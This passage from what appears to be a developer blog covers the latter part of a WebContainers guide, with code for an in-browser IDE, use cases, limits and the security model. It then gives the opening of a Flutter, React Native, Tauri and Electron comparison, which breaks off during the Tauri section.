    throw new Error(`npm install failed with exit code ${exitCode}`);
  }

  console.log('Dependencies installed successfully');
}

Starting a Dev Server

async function startDevServer(iframeEl: HTMLIFrameElement) {
  // Start the Vite dev server
  const serverProcess = await webcontainer.spawn('npm', ['run', 'dev']);

  // Stream server output
  serverProcess.output.pipeTo(
    new WritableStream({
      write(chunk) {
        console.log('[server]', chunk);
      },
    })
  );

  // Listen for the server-ready event
  webcontainer.on('server-ready', (port, url) => {
    console.log(`Server ready on port ${port} at ${url}`);
    // Load the preview in an iframe
    iframeEl.src = url;
  });

  return serverProcess;
}

Reading and Writing Files

// Read a file
const content = await webcontainer.fs.readFile('/src/App.jsx', 'utf-8');
console.log(content);

// Write a file (triggers HMR if dev server is running)
await webcontainer.fs.writeFile('/src/App.jsx', `
import React from 'react';

export default function App() {
  return <h1>Updated via WebContainer API!</h1>;
}
`);

// List directory contents
const entries = await webcontainer.fs.readdir('/src');
console.log(entries); // ['main.jsx', 'App.jsx']

// Create a directory
await webcontainer.fs.mkdir('/src/components', { recursive: true });

// Watch for file changes
webcontainer.fs.watch('/src', { recursive: true }, (event, filename) => {
  console.log(`File ${event}: ${filename}`);
});

Building a Complete In-Browser IDE

Let's put it all together. Here's a simplified but functional in-browser IDE with an editor, terminal, and preview pane.

Project Structure

my-browser-ide/
├── index.html
├── src/
│   ├── main.ts           ← Entry point
│   ├── editor.ts         ← Code editor setup
│   ├── terminal.ts       ← Terminal with xterm.js
│   ├── container.ts      ← WebContainer management
│   └── files.ts          ← Default project files
├── package.json
└── vite.config.ts

Terminal Integration with xterm.js

// src/terminal.ts
import { Terminal } from '@xterm/xterm';
import { FitAddon } from '@xterm/addon-fit';
import { WebContainer } from '@webcontainer/api';

export function createTerminal(
  element: HTMLElement,
  webcontainer: WebContainer
) {
  const terminal = new Terminal({
    convertEol: true,
    fontFamily: 'JetBrains Mono, Menlo, monospace',
    fontSize: 14,
    theme: {
      background: '#1a1b26',
      foreground: '#a9b1d6',
      cursor: '#c0caf5',
    },
  });

  const fitAddon = new FitAddon();
  terminal.loadAddon(fitAddon);
  terminal.open(element);
  fitAddon.fit();

  // Start an interactive shell
  startShell(terminal, webcontainer);

  // Resize on window resize
  window.addEventListener('resize', () => fitAddon.fit());

  return terminal;
}

async function startShell(
  terminal: Terminal,
  webcontainer: WebContainer
) {
  // Spawn a jsh shell (WebContainer's built-in shell)
  const shell = await webcontainer.spawn('jsh', {
    terminal: {
      cols: terminal.cols,
      rows: terminal.rows,
    },
  });

  // Pipe shell output → terminal display
  shell.output.pipeTo(
    new WritableStream({
      write(data) {
        terminal.write(data);
      },
    })
  );

  // Pipe terminal input → shell stdin
  const shellInput = shell.input.getWriter();
  terminal.onData((data) => {
    shellInput.write(data);
  });

  return shell;
}

The Container Manager

// src/container.ts
import { WebContainer, FileSystemTree } from '@webcontainer/api';

class ContainerManager {
  private container: WebContainer | null = null;
  private serverProcess: any = null;

  async boot(): Promise<WebContainer> {
    if (this.container) return this.container;
    this.container = await WebContainer.boot();
    return this.container;
  }

  async loadProject(files: FileSystemTree): Promise<void> {
    if (!this.container) throw new Error('Container not booted');

    // Mount project files
    await this.container.mount(files);

    // Install dependencies
    const install = await this.container.spawn('npm', ['install']);
    const installExitCode = await install.exit;

    if (installExitCode !== 0) {
      throw new Error('Failed to install dependencies');
    }
  }

  async startDevServer(): Promise<string> {
    if (!this.container) throw new Error('Container not booted');

    this.serverProcess = await this.container.spawn('npm', ['run', 'dev']);

    return new Promise((resolve) => {
      this.container!.on('server-ready', (port, url) => {
        resolve(url);
      });
    });
  }

  async updateFile(path: string, content: string): Promise<void> {
    if (!this.container) throw new Error('Container not booted');
    await this.container.fs.writeFile(path, content);
  }

  async readFile(path: string): Promise<string> {
    if (!this.container) throw new Error('Container not booted');
    return await this.container.fs.readFile(path, 'utf-8');
  }

  teardown(): void {
    this.serverProcess?.kill();
    this.container?.teardown();
    this.container = null;
  }
}

export const containerManager = new ContainerManager();

Wiring It All Together

// src/main.ts
import { containerManager } from './container';
import { createTerminal } from './terminal';
import { defaultFiles } from './files';

async function main() {
  const editorEl = document.getElementById('editor')!;
  const terminalEl = document.getElementById('terminal')!;
  const previewEl = document.getElementById('preview') as HTMLIFrameElement;
  const statusEl = document.getElementById('status')!;

  try {
    // 1. Boot the WebContainer
    statusEl.textContent = 'Booting WebContainer...';
    const container = await containerManager.boot();

    // 2. Set up the terminal
    const terminal = createTerminal(terminalEl, container);

    // 3. Mount project files
    statusEl.textContent = 'Loading project files...';
    await containerManager.loadProject(defaultFiles);

    // 4. Start the dev server
    statusEl.textContent = 'Starting dev server...';
    const serverUrl = await containerManager.startDevServer();

    // 5. Show preview
    previewEl.src = serverUrl;
    statusEl.textContent = 'Ready';

    // 6. Handle editor changes (simplified — in practice use CodeMirror/Monaco)
    editorEl.addEventListener('input', async () => {
      const content = (editorEl as HTMLTextAreaElement).value;
      await containerManager.updateFile('/src/App.jsx', content);
      // HMR handles the rest — preview updates automatically
    });

  } catch (error) {
    statusEl.textContent = `Error: ${error}`;
    console.error(error);
  }
}

main();

The HTML Layout

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <title>Browser IDE</title>
  <link rel="stylesheet" href="node_modules/@xterm/xterm/css/xterm.css" />
  <style>
    * { margin: 0; padding: 0; box-sizing: border-box; }
    body { font-family: system-ui; background: #0f0f0f; color: #fff; }
    .layout {
      display: grid;
      grid-template-columns: 1fr 1fr;
      grid-template-rows: 1fr 200px;
      height: 100vh;
      gap: 2px;
      background: #333;
    }
    #editor {
      background: #1e1e1e; padding: 16px;
      font-family: monospace; font-size: 14px;
      color: #d4d4d4; border: none; resize: none;
    }
    #preview { border: none; background: white; }
    #terminal { grid-column: 1 / -1; background: #1a1b26; padding: 8px; }
    #status {
      position: fixed; top: 8px; right: 8px;
      background: #333; padding: 4px 12px;
      border-radius: 4px; font-size: 12px;
    }
  </style>
</head>
<body>
  <div class="layout">
    <textarea id="editor" spellcheck="false"></textarea>
    <iframe id="preview"></iframe>
    <div id="terminal"></div>
  </div>
  <div id="status">Initializing...</div>
  <script type="module" src="/src/main.ts"></script>
</body>
</html>

Use Cases — Where WebContainers Shine

1. Interactive Documentation & Tutorials

Instead of showing code snippets and saying "trust me, this works," you embed a live, editable, runnable environment directly in your docs.

Traditional docs:           WebContainer-powered docs:
┌──────────────────┐       ┌──────────────────────────────┐
│  Read the code   │       │  Read the code               │
│  snippet         │       │  Edit it                     │
│  Copy it         │       │  See it run instantly         │
│  Set up locally  │       │  Break it, fix it, learn     │
│  Hope it works   │       │  Zero setup required          │
└──────────────────┘       └──────────────────────────────┘

Real examples: The SvelteKit tutorial, Angular's interactive docs, Astro's playground — all powered by WebContainers.

2. Online IDEs

StackBlitz is the obvious example, but anyone can build a specialized IDE for their use case:

Component library playgrounds
Internal tooling editors
Config file editors with live preview

3. Coding Assessments

Instead of "whiteboard" coding or take-home assignments, give candidates a real dev environment in the browser. They can install packages, run tests, and build actual features — no environment setup friction.

4. AI-Powered Code Generation with Live Preview

This is where things get exciting. Tools like bolt.new combine LLMs with WebContainers:

User: "Build me a todo app with React and Tailwind"
  │
  ▼
LLM generates code
  │
  ▼
WebContainer mounts files
  │
  ▼
npm install runs in browser
  │
  ▼
Dev server starts
  │
  ▼
Live preview appears — all in seconds, all in the browser

The AI generates code, and you see it running immediately. No deployment step. No waiting for a cloud VM. The feedback loop is near-instant.

5. Embeddable Code Playgrounds

Blog posts, documentation sites, and courses can embed interactive code examples:

<!-- Embed a StackBlitz project anywhere -->
<iframe
  src="https://stackblitz.com/edit/react-playground?embed=1&file=src/App.tsx"
  style="width:100%; height:500px; border:0; border-radius: 4px; overflow:hidden;"
></iframe>

Limitations — What WebContainers Can't Do

Let's be real about the constraints:

1. No Native Modules

If a package requires compiling native C/C++ code (node-gyp), it won't work. This means packages like bcrypt, sharp, sqlite3, and others that rely on native bindings are out.

Workarounds exist for some — bcryptjs instead of bcrypt, better-sqlite3 has a WASM build — but it's a real limitation.

2. Browser Security Sandbox

WebContainers run inside the browser's security sandbox. That means:

No raw TCP/UDP sockets (HTTP only, via Service Worker interception)
No filesystem access to the user's actual disk
No spawning real OS processes
Limited to what the browser allows

3. Performance Ceiling

While surprisingly fast for many workloads, WebContainers aren't as fast as native Node.js:

Operation	Native Node.js	WebContainer	Notes
npm install (cold)	10-30s	15-60s	Depends on package count
Vite dev server start	0.5-2s	1-4s	Comparable for small projects
TypeScript compilation	Fast	Slower	CPU-intensive tasks hit WASM overhead
File I/O	Disk speed	In-memory (fast!)	VFS can actually be faster
Large project build	Handles well	May struggle	Memory limits in browser tabs

4. Browser Compatibility

WebContainers require modern browser features:

SharedArrayBuffer (needs COOP/COEP headers)
Service Workers
Web Workers
WebAssembly

This effectively limits support to Chromium-based browsers (Chrome, Edge, Brave) and recent Firefox. Safari support has been improving but has historically lagged.

5. Memory Constraints

A browser tab has memory limits (typically 1-4GB depending on the browser and OS). Large projects with massive node_modules trees can hit these limits.

Alternatives: How WebContainers Compare

CodeSandbox — Micro VMs

CodeSandbox took the opposite approach: instead of running in the browser, they use Firecracker microVMs (the same technology AWS Lambda uses). Each sandbox gets its own lightweight Linux VM.

CodeSandbox Architecture:
┌──────────┐        ┌──────────────────────┐
│  Browser  │  ◄──► │   Firecracker MicroVM │
│  (UI only)│  SSH  │   (Full Linux)        │
│           │       │   - Real Node.js       │
│           │       │   - Real filesystem    │
│           │       │   - Native modules OK  │
└──────────┘        └──────────────────────┘

Gitpod / GitHub Codespaces — Cloud VMs

These give you a full cloud-hosted development environment, typically a Linux VM with VS Code Server.

Codespaces Architecture:
┌──────────┐         ┌─────────────────────────┐
│  Browser  │  ◄───► │   Cloud VM (Linux)       │
│  (VS Code │  HTTPS │   - Full OS              │
│   Web)    │        │   - Docker support        │
│           │        │   - GPU possible          │
│           │        │   - 4-32GB RAM            │
└──────────┘         └─────────────────────────┘

Replit — Hybrid Approach

Replit uses a combination of cloud containers and, increasingly, client-side execution for lighter workloads.

Comparison Table

Feature	WebContainers	Cloud VMs (Codespaces)	MicroVMs (CodeSandbox)	Local Dev
Startup time	2-5s	30-90s	5-15s	0s (already running)
Cost per user	$0 (runs in browser)	$$ (VM per user)	$ (shared infra)	$0
Native modules	No	Yes	Yes	Yes
Offline capable	Yes (after boot)	No	No	Yes
Max project size	Small-Medium	Any	Large	Any
Docker support	No	Yes	Limited	Yes
Network access	HTTP only (intercepted)	Full	Full	Full
Security	Browser sandbox	VM isolation	VM isolation	None (your machine)
Latency	None (local)	Network dependent	Network dependent	None
Collaboration	Easy (share URL)	Built-in	Built-in	Git-based

The Security Model

WebContainers have a genuinely interesting security story. Because everything runs in the browser sandbox, code executed in a WebContainer:

Cannot access the host filesystem — the VFS is isolated in memory
Cannot open raw network connections — HTTP only, via Service Worker
Cannot execute native binaries — only WASM and JavaScript
Cannot escape the browser sandbox — the OS-level sandbox applies
Cannot access other tabs' data — standard origin isolation

┌─────────────── Browser Security Sandbox ──────────────────┐
│                                                            │
│  ┌──── WebContainer Sandbox ────┐   ┌─── Other Tabs ───┐  │
│  │                              │   │                   │  │
│  │  User's code runs here       │   │  Gmail, Twitter,  │  │
│  │  - Can't touch the real FS   │ X │  banking...       │  │
│  │  - Can't open TCP sockets    │◄─►│  Completely       │  │
│  │  - Can't run native code     │   │  isolated         │  │
│  │  - Can't access other tabs   │   │                   │  │
│  │                              │   │                   │  │
│  └──────────────────────────────┘   └───────────────────┘  │
│                                                            │
├────────────────────────────────────────────────────────────┤
│                 HOST OPERATING SYSTEM                       │
│  WebContainer code CANNOT reach here                       │
└────────────────────────────────────────────────────────────┘

This makes WebContainers inherently safer than running untrusted code on a server or VM. There's no container escape to worry about, no privilege escalation — the browser is the security boundary, and browsers are extremely well-hardened.

For use cases like coding assessments or interactive tutorials where you're running untrusted user code, this is a major advantage over server-side execution.

Real-World Implementations

StackBlitz

The original and most mature WebContainer-powered IDE. Supports Angular, React, Vue, Svelte, Next.js, Astro, and basically any Node.js-based framework.

bolt.new

StackBlitz's AI-powered app builder. You describe what you want in natural language, an LLM generates the code, and WebContainers run it instantly. The entire generate-run-preview loop happens in the browser.

Tutorial Platforms

learn.svelte.dev — SvelteKit's interactive tutorial runs entirely in WebContainers
Angular.dev — Angular's new docs site uses embedded WebContainer playgrounds
Astro — Their tutorial playground is WebContainer-powered
Various course platforms — Platforms like Educative and others have adopted WebContainers for interactive coding exercises

Documentation Sites

Framework teams increasingly embed live, editable examples in their docs. Instead of static code blocks, readers get a full dev environment they can modify and experiment with.

Building Your Own WebContainer-Powered App

If you want to build something with WebContainers, here's a practical checklist:

Step 1: Set Up the Host Project

npm create vite@latest my-wc-app -- --template react-ts
cd my-wc-app
npm install @webcontainer/api
npm install @xterm/xterm @xterm/addon-fit  # for terminal

Step 2: Configure Headers

// vite.config.ts
import { defineConfig } from 'vite';
import react from '@vitejs/plugin-react';

export default defineConfig({
  plugins: [react()],
  server: {
    headers: {
      'Cross-Origin-Embedder-Policy': 'require-corp',
      'Cross-Origin-Opener-Policy': 'same-origin',
    },
  },
});

Step 3: Define Your Template Files

// src/templates/react-starter.ts
import { FileSystemTree } from '@webcontainer/api';

export const reactStarter: FileSystemTree = {
  'package.json': {
    file: {
      contents: JSON.stringify({
        name: 'react-starter',
        private: true,
        scripts: { dev: 'vite', build: 'vite build' },
        dependencies: {
          react: '^18.2.0',
          'react-dom': '^18.2.0',
        },
        devDependencies: {
          vite: '^5.0.0',
          '@vitejs/plugin-react': '^4.0.0',
        },
      }, null, 2),
    },
  },
  // ... rest of your template files
};

Step 4: Manage the Lifecycle

// Key lifecycle events to handle:
//
// 1. boot()        — Initialize the WebContainer (once per page)
// 2. mount()       — Load project files into the VFS
// 3. spawn('npm', ['install']) — Install dependencies
// 4. spawn('npm', ['run', 'dev']) — Start the dev server
// 5. on('server-ready') — Capture the preview URL
// 6. fs.writeFile() — Handle user edits (HMR picks up changes)
// 7. teardown()    — Clean up when done

Step 5: Handle Edge Cases

Things you'll want to handle in production:

// Only one WebContainer per page — handle re-initialization
let instance: WebContainer | null = null;

async function getContainer(): Promise<WebContainer> {
  if (!instance) {
    instance = await WebContainer.boot();
  }
  return instance;
}

// Handle process failures
const process = await container.spawn('npm', ['run', 'dev']);
const exitCode = await process.exit;
if (exitCode !== 0) {
  // Show error to user, offer to retry
}

// Clean up on page unload
window.addEventListener('beforeunload', () => {
  instance?.teardown();
});

// Handle iframe preview with correct permissions
// The preview iframe needs crossorigin attributes:
// <iframe src={previewUrl} allow="cross-origin-isolated" />

The Future of Browser-Based Development

WebContainers are part of a broader trend: the development environment is moving into the browser.

What's coming:

Better WASM performance — As WebAssembly evolves (threads, GC, component model), WebContainers will get faster and support more use cases.
More language runtimes — Today it's Node.js. Tomorrow it could be Python, Ruby, or Go running in the browser via WASM.
AI + WebContainers — bolt.new is just the beginning. Imagine an AI pair programmer that can generate code, run it, see the result, debug issues, and iterate — all without leaving the browser.
Edge-native development — WebContainers could run on edge networks, giving you zero-latency dev environments anywhere in the world.
Standard browser APIs — As browsers add more capabilities (File System Access API, WebGPU, WebTransport), the gap between "in-browser" and "native" development will keep shrinking.

The vision isn't that browser-based development replaces local development for everyone. It's that for a growing number of use cases — learning, prototyping, collaboration, documentation, AI-assisted development — the browser is not just "good enough," it's actually better because there's nothing to install, nothing to configure, and nothing to break.

Key Takeaways

Aspect	Summary
What	WebAssembly-based Node.js environment running entirely in the browser
How	WASM OS + Virtual FS + Service Worker networking + browser sandbox
Who made it	StackBlitz (open-sourced the API)
Best for	Interactive tutorials, online IDEs, AI code gen, embedded playgrounds
Not for	Native modules, large monorepos, heavy compute, non-Node.js backends
Security	Inherently sandboxed by the browser — safer than server-side execution
Performance	Good for small-medium projects, limited by browser memory/WASM overhead
Future	More runtimes, better AI integration, growing ecosystem

WebContainers represent a genuine paradigm shift in how we think about development environments. They're not replacing your local setup for serious work on large projects. But for the use cases where they shine — education, collaboration, AI-assisted development, and instant prototyping — they're borderline magical.

The fact that you can npm install and run a full React dev server inside a browser tab, with hot module replacement and a live preview, all without touching a server? That's pretty wild. And we're just getting started.

Let's Connect!

If you found this guide helpful, I'd love to connect with you! I regularly share deep dives on system design, backend engineering, and software architecture.

Connect with me on LinkedIn — let's grow together.

Drop a comment, share this with someone who needs this, and follow along for more guides like this!

Building Cross-Platform Apps: Flutter vs React Native vs Tauri vs Electron — The Definitive Comparison

Ishaan Pandey — Sat, 21 Mar 2026 11:25:10 +0000

Building Cross-Platform Apps: Flutter vs React Native vs Tauri vs Electron — The Definitive Comparison

If you've ever had to ship the same app on iOS, Android, Windows, macOS, and the web, you know the pain. Five codebases, five sets of bugs, five platform-specific quirks that make you question your career choices.

Cross-platform frameworks promise to fix that. But which one actually delivers? Let's cut through the hype and get into the real engineering trade-offs.

What Is Cross-Platform Development and Why Should You Care?

Cross-platform development means writing one codebase (or mostly one) that runs on multiple platforms — mobile, desktop, web, or all three.

The business case is pretty straightforward:

Factor	Native (per platform)	Cross-Platform
Codebase count	1 per platform (2-5)	1 shared (+ platform-specific bits)
Dev team size	Separate iOS, Android, desktop teams	One team, shared skills
Time to market	Slow — parallel development	Faster — build once, deploy everywhere
UI consistency	Platform-native by default	Consistent across platforms
Maintenance cost	High — N codebases to update	Lower — single source of truth
Performance	Best possible	Good to excellent (depends on framework)

The catch? "Write once, run anywhere" has always been a spectrum, not a binary. Every framework makes different trade-offs between code sharing, performance, and native platform fidelity. Understanding those trade-offs is what this guide is about.

The Landscape in 2026

Here's how the major players break down:

┌─────────────────────────────────────────────────────────────────┐
│                    CROSS-PLATFORM LANDSCAPE                     │
├─────────────────┬──────────────────┬────────────────────────────┤
│     MOBILE      │     DESKTOP      │       MOBILE + DESKTOP     │
├─────────────────┼──────────────────┼────────────────────────────┤
│ Flutter         │ Tauri            │ Flutter (mobile + desktop) │
│ React Native    │ Electron         │ React Native + desktop     │
│ Kotlin Multi-   │ .NET MAUI        │ Kotlin Multiplatform +     │
│   platform      │                  │   Compose Multiplatform    │
├─────────────────┴──────────────────┴────────────────────────────┤
│                          WEB (PWA)                              │
│            Progressive Web Apps — sometimes enough              │
└─────────────────────────────────────────────────────────────────┘

Let's go deep on each one.

Flutter — Google's UI Toolkit

Flutter is Google's open-source framework for building natively compiled applications from a single codebase. It targets mobile, web, desktop, and embedded devices.

How Flutter Actually Works

Unlike React Native, Flutter doesn't use native platform UI components. Instead, it brings its own rendering engine and draws every single pixel itself.

┌──────────────────────────────────────────┐
│              YOUR DART CODE              │
│         (Widgets, Business Logic)        │
├──────────────────────────────────────────┤
│            FLUTTER FRAMEWORK             │
│   (Material, Cupertino, Widget Tree)     │
├──────────────────────────────────────────┤
│            FLUTTER ENGINE                │
│     (Impeller / Skia Rendering,          │
│      Dart Runtime, Platform Channels)    │
├──────────────────────────────────────────┤
│           PLATFORM EMBEDDER              │
│  (iOS Shell, Android Shell, Windows...)  │
└──────────────────────────────────────────┘

Key architectural points:

Impeller (the successor to Skia) is Flutter's rendering engine. It pre-compiles all shaders during build time, which eliminates shader compilation jank — a massive improvement over the Skia days.
Dart compiles to native ARM/x64 code on mobile and desktop (AOT), and to JavaScript/WebAssembly for web.
Platform Channels let you call native APIs (Swift/Kotlin) when you need platform-specific functionality.

The Widget System

Everything in Flutter is a widget. Seriously, everything. Your app? A widget. A button? A widget. Padding? Also a widget.

import 'package:flutter/material.dart';

class UserProfile extends StatelessWidget {
  final String name;
  final String email;
  final String avatarUrl;

  const UserProfile({
    super.key,
    required this.name,
    required this.email,
    required this.avatarUrl,
  });

  @override
  Widget build(BuildContext context) {
    return Card(
      elevation: 4,
      margin: const EdgeInsets.all(16),
      child: Padding(
        padding: const EdgeInsets.all(20),
        child: Row(
          children: [
            CircleAvatar(
              radius: 36,
              backgroundImage: NetworkImage(avatarUrl),
            ),
            const SizedBox(width: 16),
            Expanded(
              child: Column(
                crossAxisAlignment: CrossAxisAlignment.start,
                children: [
                  Text(
                    name,
                    style: Theme.of(context).textTheme.titleLarge,
                  ),
                  const SizedBox(height: 4),
                  Text(
                    email,
                    style: Theme.of(context).textTheme.bodyMedium?.copyWith(
                      color: Colors.grey[600],
                    ),
                  ),
                ],
              ),
            ),
            IconButton(
              icon: const Icon(Icons.edit),
              onPressed: () => _editProfile(context),
            ),
          ],
        ),
      ),
    );
  }

  void _editProfile(BuildContext context) {
    // Navigate to edit screen
  }
}

State Management with Riverpod

Flutter has a ton of state management options. Riverpod has become the community favorite for good reason — it's compile-safe, testable, and doesn't depend on BuildContext.

import 'package:flutter_riverpod/flutter_riverpod.dart';

// Define a provider for fetching user data
final userProvider = FutureProvider.autoDispose
    .family<User, String>((ref, userId) async {
  final repository = ref.watch(userRepositoryProvider);
  return repository.getUser(userId);
});

// Use it in a widget
class UserScreen extends ConsumerWidget {
  final String userId;

  const UserScreen({super.key, required this.userId});

  @override
  Widget build(BuildContext context, WidgetRef ref) {
    final userAsync = ref.watch(userProvider(userId));

    return userAsync.when(
      loading: () => const Center(child: CircularProgressIndicator()),
      error: (err, stack) => Center(child: Text('Error: $err')),
      data: (user) => UserProfile(
        name: user.name,
        email: user.email,
        avatarUrl: user.avatarUrl,
      ),
    );
  }
}

Platform Channels — Talking to Native Code

When you need to access a platform API that Flutter doesn't wrap:

// Dart side
import 'package:flutter/services.dart';

class BatteryService {
  static const _channel = MethodChannel('com.myapp/battery');

  Future<int> getBatteryLevel() async {
    final int level = await _channel.invokeMethod('getBatteryLevel');
    return level;
  }
}

// Android side (Kotlin)
class MainActivity : FlutterActivity() {
    private val CHANNEL = "com.myapp/battery"

    override fun configureFlutterEngine(flutterEngine: FlutterEngine) {
        super.configureFlutterEngine(flutterEngine)
        MethodChannel(flutterEngine.dartExecutor.binaryMessenger, CHANNEL)
            .setMethodCallHandler { call, result ->
                if (call.method == "getBatteryLevel") {
                    val batteryLevel = getBatteryLevel()
                    result.success(batteryLevel)
                } else {
                    result.notImplemented()
                }
            }
    }
}

Flutter: Pros and Cons

Pros	Cons
Pixel-perfect consistency across platforms	Dart isn't as popular as JS/TS — smaller talent pool
Impeller rendering = smooth 60/120fps	Doesn't use native UI components (can feel "off" to purists)
Hot reload is genuinely fast	Web support is functional but not ideal for content-heavy sites
Strong desktop support (Windows, macOS, Linux)	Large app size compared to native (~5-15MB overhead)
Massive widget library	Platform channels required for advanced native features
Growing ecosystem, backed by Google	Two-widget-system (Material + Cupertino) can be confusing

React Native — Meta's Bridge to Native

React Native lets you build mobile apps using React and JavaScript/TypeScript. Unlike Flutter, it renders using actual native platform components.

The New Architecture (2024+)

React Native underwent a massive architectural overhaul. The old bridge-based system was a bottleneck — every JS-to-native call was serialized as JSON and sent across an async bridge. The new architecture fixes this.

┌─────────────────────────────────────────────────────────────┐
│    OLD ARCHITECTURE              NEW ARCHITECTURE           │
│                                                             │
│  ┌──────────┐                 ┌──────────┐                  │
│  │    JS    │                 │    JS    │                  │
│  │  Thread  │                 │  Thread  │                  │
│  └────┬─────┘                 └────┬─────┘                  │
│       │                            │                        │
│  ┌────▼─────┐                 ┌────▼─────┐                  │
│  │  Bridge  │  ← async,      │   JSI    │  ← sync,        │
│  │  (JSON)  │    batched      │ (C++ IF) │    direct        │
│  └────┬─────┘                 └────┬─────┘                  │
│       │                            │                        │
│  ┌────▼─────┐            ┌────────▼────────────┐           │
│  │  Native  │            │  Fabric   │  Turbo   │           │
│  │ Modules  │            │(Renderer) │ Modules  │           │
│  └──────────┘            └──────────────────────┘           │
└─────────────────────────────────────────────────────────────┘

JSI (JavaScript Interface): A C++ layer that lets JavaScript directly call native functions without serialization. This is the backbone of the new architecture.

Fabric: The new rendering system. It can render UI synchronously when needed (critical for gestures and animations) and supports concurrent features from React 18+.

TurboModules: Native modules that are lazily loaded — they only initialize when first accessed, improving startup time.

Expo — The Recommended Way to Build

Expo has evolved from a "limited but easy" option to the officially recommended way to build React Native apps. It handles builds, OTA updates, native module configuration, and more.

# Create a new Expo project
npx create-expo-app@latest MyApp
cd MyApp

# Start development
npx expo start

// app/(tabs)/index.tsx — Expo Router file-based routing
import { StyleSheet, View, Text, FlatList } from 'react-native';
import { useQuery } from '@tanstack/react-query';

interface Post {
  id: number;
  title: string;
  body: string;
}

export default function HomeScreen() {
  const { data: posts, isLoading, error } = useQuery<Post[]>({
    queryKey: ['posts'],
    queryFn: () =>
      fetch('https://jsonplaceholder.typicode.com/posts')
        .then(res => res.json()),
  });

  if (isLoading) return <Text style={styles.loading}>Loading...</Text>;
  if (error) return <Text style={styles.error}>Error loading posts</Text>;

  return (
    <View style={styles.container}>
      <FlatList
        data={posts}
        keyExtractor={(item) => item.id.toString()}
        renderItem={({ item }) => (
          <View style={styles.card}>
            <Text style={styles.title}>{item.title}</Text>
            <Text style={styles.body} numberOfLines={2}>
              {item.body}
            </Text>
          </View>
        )}
      />
    </View>
  );
}

const styles = StyleSheet.create({
  container: { flex: 1, backgroundColor: '#f5f5f5' },
  loading: { textAlign: 'center', marginTop: 50 },
  error: { textAlign: 'center', marginTop: 50, color: 'red' },
  card: {
    backgroundColor: 'white',
    marginHorizontal: 16,
    marginVertical: 8,
    padding: 16,
    borderRadius: 12,
    shadowColor: '#000',
    shadowOffset: { width: 0, height: 2 },
    shadowOpacity: 0.1,
    shadowRadius: 4,
    elevation: 3,
  },
  title: { fontSize: 16, fontWeight: '600', marginBottom: 8 },
  body: { fontSize: 14, color: '#666' },
});

Native Modules with TurboModules

When you need to access native APIs:

// specs/NativeBattery.ts — TurboModule spec
import type { TurboModule } from 'react-native';
import { TurboModuleRegistry } from 'react-native';

export interface Spec extends TurboModule {
  getBatteryLevel(): Promise<number>;
  addBatteryListener(callback: (level: number) => void): void;
}

export default TurboModuleRegistry.getEnforcing<Spec>('NativeBattery');

React Native: Pros and Cons

Pros	Cons
Huge ecosystem (npm + React)	Performance ceiling lower than Flutter for heavy animations
Uses actual native UI components	Debugging can be painful (JS + native stack traces)
React skills transfer directly	Upgrading major versions historically painful
Expo handles most complexity	Desktop support exists but less mature
Strong TypeScript support	"Bridgeless" migration can be complex for large apps
OTA updates via Expo/CodePush	Native module setup still requires platform knowledge

Tauri — The Lightweight Desktop Contender

Tauri is an open-source framework for building desktop (and now mobile) apps using web technologies for the frontend and Rust for the backend. Think of it as Electron, but without shipping an entire Chromium browser.

How Tauri Works

┌─────────────────────────────────────────────────────┐
│                    YOUR TAURI APP                    │
│                                                     │
│  ┌─────────────────────────────────────────────┐    │
│  │           FRONTEND (Web Tech)               │    │
│  │    HTML / CSS / JS (React, Svelte, Vue...)  │    │
│  │    Rendered by OS WebView:                  │    │
│  │      macOS → WebKit (WKWebView)             │    │
│  │      Windows → WebView2 (Edge/Chromium)     │    │
│  │      Linux → WebKitGTK                      │    │
│  └──────────────────┬──────────────────────────┘    │
│                     │ IPC (JSON-RPC)                 │
│  ┌──────────────────▼──────────────────────────┐    │
│  │            BACKEND (Rust Core)              │    │
│  │    Commands, File I/O, System APIs,         │    │
│  │    Plugins, Security Policies               │    │
│  └─────────────────────────────────────────────┘    │
└─────────────────────────────────────────────────────┘

The big idea: instead of bundling Chromium (~150MB), Tauri uses the OS's built-in webview. Your app binary can be as small as 2-5MB.

Tauri in Practice — Rust Commands

// src-tauri/src/lib.rs
use serde::{Deserialize, Serialize};
use tauri::command;

#[derive(Debug, Serialize, Deserialize)]
struct Document {
    id: String,
    title: String,
    content: String,
    modified_at: String,
}

#[command]
async fn read_documents(directory: String) -> Result<Vec<Document>, String> {
    let mut documents = Vec::new();
    let entries = std::fs::read_dir(&directory)
        .map_err(|e| format!("Failed to read directory: {}", e))?;

    for entry in entries {
        let entry = entry.map_err(|e| format!("Failed to read entry: {}", e))?;
        let path = entry.path();

        if path.extension().map_or(false, |ext| ext == "md") {
            let content = std::fs::read_to_string(&path)
                .map_err(|e| format!("Failed to read file: {}", e))?;
            let metadata = std::fs::metadata(&path)
                .map_err(|e| format!("Failed to read metadata: {}", e))?;

            documents.push(Document {
                id: path.file_stem().unwrap().to_string_lossy().to_string(),
                title: path.file_name().unwrap().to_string_lossy().to_string(),
                content,
                modified_at: format!("{:?}", metadata.modified().unwrap()),
            });
        }
    }

    Ok(documents)
}

#[command]
async fn save_document(path: String, content: String) -> Result<(), String> {
    std::fs::write(&path, &content)
        .map_err(|e| format!("Failed to save: {}", e))?;
    Ok(())
}

#[cfg_attr(mobile, tauri::mobile_entry_point)]
pub fn run() {
    tauri::Builder::default()
        .invoke_handler(tauri::generate_handler![
            read_documents,
            save_document
        ])
        .run(tauri::generate_context!())
        .expect("error while running tauri application");
}

// Frontend — calling Rust commands from JS
import { invoke } from '@tauri-apps/api/core';

interface Document {
  id: string;
  title: string;
  content: string;
  modified_at: string;
}

async function loadDocuments(): Promise<Document[]> {
  try {
    const docs = await invoke<Document[]>('read_documents', {
      directory: '/Users/me/Documents/notes',
    });
    return docs;
  } catch (error) {
    console.error('Failed to load documents:', error);
    return [];
  }
}

async function saveDocument(path: string, content: string): Promise<void> {
  await invoke('save_document', { path, content });
}

Tauri's Security Model

Tauri takes security seriously. By default, everything is locked down. You explicitly allowlist which APIs your frontend can access:

// src-tauri/capabilities/default.json
{
  "identifier": "default",
  "description": "Default permissions for the main window",
  "windows": ["main"],
  "permissions": [
    "core:default",
    "dialog:allow-open",
    "dialog:allow-save",
    "fs:allow-read",
    "fs:allow-write",
    "fs:scope-home"
  ]
}

This is a huge advantage over Electron, where the Node.js backend has full system access by default and security is opt-in rather than opt-out.

Tauri: Pros and Cons

Pros	Cons
Tiny bundle size (2-5MB vs 150MB+ Electron)	Rust has a steep learning curve
Low memory footprint	WebView inconsistencies across OS (especially Linux)
Strong security model (allowlist-based)	Smaller ecosystem than Electron
